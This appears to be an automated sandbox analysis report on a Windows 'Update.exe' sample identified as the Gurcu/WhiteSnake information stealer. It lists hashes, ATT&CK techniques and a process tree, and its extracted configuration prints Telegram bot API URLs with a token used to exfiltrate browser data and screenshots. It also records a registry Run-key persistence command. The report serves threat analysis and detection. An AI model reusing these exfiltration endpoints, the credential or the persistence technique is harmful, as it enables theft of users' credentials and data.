gurcu | d6e9972976881d3dad7ac2a0c66cd7dd81420908aae8b00195a02fdf756cfc5e

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
15-08-2024 13:53

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General

Target

Update.exe
Size

5.6MB
MD5

b8703418e6c3d1ccd83b8d178ab9f4c9
SHA1

6fb0e1e0ee5bc745f52a1c29e3cf4b88a2298dd6
SHA256

d6e9972976881d3dad7ac2a0c66cd7dd81420908aae8b00195a02fdf756cfc5e
SHA512

75ff6e911691e3d0d32c25d4b6d275a2b6157dae418ce5507f3e3f1b321c3f0dee516b7db0fd6588860019a19862f43c5335c465829de7a418a71999b71cfc3f
SSDEEP

98304:sbl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6Ucf:s6OuK6mn9NzgMoYkSIvUcwti7TQlvciA

Score

10^/10

gurcu credential_access discovery persistence spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/sendDocument?chat_id=2024893777&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0%20kb

https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/sendMessage?chat_id=2024893777

https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/getUpdates?offset=-

https://api.telegram.org/bot6840643388:AAFx-w02hvJE3j8QWzCipTXQ-j2gGH45m_Y/sendDocument?chat_id=2024893777&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	Update.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	Update.exe

Executes dropped EXE 1 IoCs

pid	Process
1168	Update.exe

Loads dropped DLL 2 IoCs

pid	Process
2680	Update.exe
1168	Update.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ChromeUpdater = "C:\\Users\\Admin\\AppData\\Roaming\\GoogleChromeUpdateLogger\\Update.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
14	raw.githubusercontent.com
17	raw.githubusercontent.com
32	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
4508	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Update.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3736	timeout.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4076	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2680	Update.exe
2680	Update.exe
2680	Update.exe
2680	Update.exe
2680	Update.exe
2680	Update.exe
2680	Update.exe
2680	Update.exe
2680	Update.exe
2680	Update.exe
2680	Update.exe
2680	Update.exe
2680	Update.exe
2680	Update.exe
2680	Update.exe
2680	Update.exe
2680	Update.exe
2680	Update.exe
2680	Update.exe
2680	Update.exe
2680	Update.exe
2680	Update.exe
2680	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe
1168	Update.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2680	Update.exe
Token: SeDebugPrivilege	4508	tasklist.exe
Token: SeDebugPrivilege	1168	Update.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1168	Update.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2680 wrote to memory of 2792	2680	Update.exe	98
PID 2680 wrote to memory of 2792	2680	Update.exe	98
PID 2792 wrote to memory of 4508	2792	cmd.exe	100
PID 2792 wrote to memory of 4508	2792	cmd.exe	100
PID 2792 wrote to memory of 2104	2792	cmd.exe	101
PID 2792 wrote to memory of 2104	2792	cmd.exe	101
PID 2792 wrote to memory of 3736	2792	cmd.exe	102
PID 2792 wrote to memory of 3736	2792	cmd.exe	102
PID 2792 wrote to memory of 1168	2792	cmd.exe	103
PID 2792 wrote to memory of 1168	2792	cmd.exe	103
PID 1168 wrote to memory of 4976	1168	Update.exe	107
PID 1168 wrote to memory of 4976	1168	Update.exe	107
PID 4976 wrote to memory of 4076	4976	cmd.exe	109
PID 4976 wrote to memory of 4076	4976	cmd.exe	109

C:\Users\Admin\AppData\Local\Temp\Update.exe
"C:\Users\Admin\AppData\Local\Temp\Update.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp5B98.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp5B98.tmp.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2792
- - C:\Windows\system32\tasklist.exe
    Tasklist /fi "PID eq 2680"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4508
- - C:\Windows\system32\find.exe
    find ":"
    3⤵
    PID:2104
- - C:\Windows\system32\timeout.exe
    Timeout /T 1 /Nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3736
- - C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe
    "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1168
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdater /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4976
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdater /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe /f
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:4076

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4608,i,3210801877307184477,8078594481454001567,262144 --variations-seed-version --mojo-platform-channel-handle=3264 /prefetch:8
1⤵
PID:1656

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Update.exe.log

Filesize
1KB

MD5
9e8cab527db784fa373e8b3ee2809029

SHA1
b1fea2a154908c1a0bfc476f0279f44dbb89249c

SHA256
84c010466cd6465eec0ac04f1aa37652cf4ed3532e7981ac0fb59df855d7cc4c

SHA512
f238dd04fa22540bd10803fd59d49944511df1b340b4a68f0c096c45498e6c58218d07768ad0572ed8886bb5b20053e42adf235447065bbbfa0e6d9fd77e9cfc

Download Submit
C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp5B98.tmp.bat

Filesize
280B

MD5
87ad06b80e7dce590d5b32c3b924880a

SHA1
269472c2936ab0b9ab1c7c87fdef3e837054e735

SHA256
938ae09a5a999f2db5b680d294f9c96c523ace97fb24de83b6dc2f9d50b7f644

SHA512
a2c61a62151946e4a8560614873a612d08772a3d016b1265b716adbb6e3daf5c83d0e83c1a7cca0af522783c87c391b0e15c7a36def04db5127a27ea0fc69cb7

Download Submit
C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLogger\Update.exe

Filesize
5.6MB

MD5
b8703418e6c3d1ccd83b8d178ab9f4c9

SHA1
6fb0e1e0ee5bc745f52a1c29e3cf4b88a2298dd6

SHA256
d6e9972976881d3dad7ac2a0c66cd7dd81420908aae8b00195a02fdf756cfc5e

SHA512
75ff6e911691e3d0d32c25d4b6d275a2b6157dae418ce5507f3e3f1b321c3f0dee516b7db0fd6588860019a19862f43c5335c465829de7a418a71999b71cfc3f

Download Submit
memory/1168-23-0x000001A6DB4B0000-0x000001A6DB562000-memory.dmp

Filesize
712KB

Download
memory/1168-25-0x000001A6DB600000-0x000001A6DB622000-memory.dmp

Filesize
136KB

Download
memory/1168-46-0x000001A6DB690000-0x000001A6DB6A2000-memory.dmp

Filesize
72KB

Download
memory/1168-28-0x000001A6DB560000-0x000001A6DB586000-memory.dmp

Filesize
152KB

Download
memory/1168-27-0x000001A6DB630000-0x000001A6DB66A000-memory.dmp

Filesize
232KB

Download
memory/1168-24-0x000001A6DB5B0000-0x000001A6DB600000-memory.dmp

Filesize
320KB

Download
memory/1168-20-0x000001A6DB1C0000-0x000001A6DB1CA000-memory.dmp

Filesize
40KB

Download
memory/1168-21-0x000001A6DB440000-0x000001A6DB4AA000-memory.dmp

Filesize
424KB

Download
memory/2680-0-0x00007FFDE9423000-0x00007FFDE9425000-memory.dmp

Filesize
8KB

Download
memory/2680-1-0x0000013D55790000-0x0000013D55D30000-memory.dmp

Filesize
5.6MB

Download
memory/2680-8-0x0000013D57A50000-0x0000013D57A6E000-memory.dmp

Filesize
120KB

Download
memory/2680-6-0x0000013D57AD0000-0x0000013D57B46000-memory.dmp

Filesize
472KB

Download
memory/2680-7-0x00007FFDE9420000-0x00007FFDE9EE1000-memory.dmp

Filesize
10.8MB

Download
memory/2680-12-0x00007FFDE9420000-0x00007FFDE9EE1000-memory.dmp

Filesize
10.8MB

Download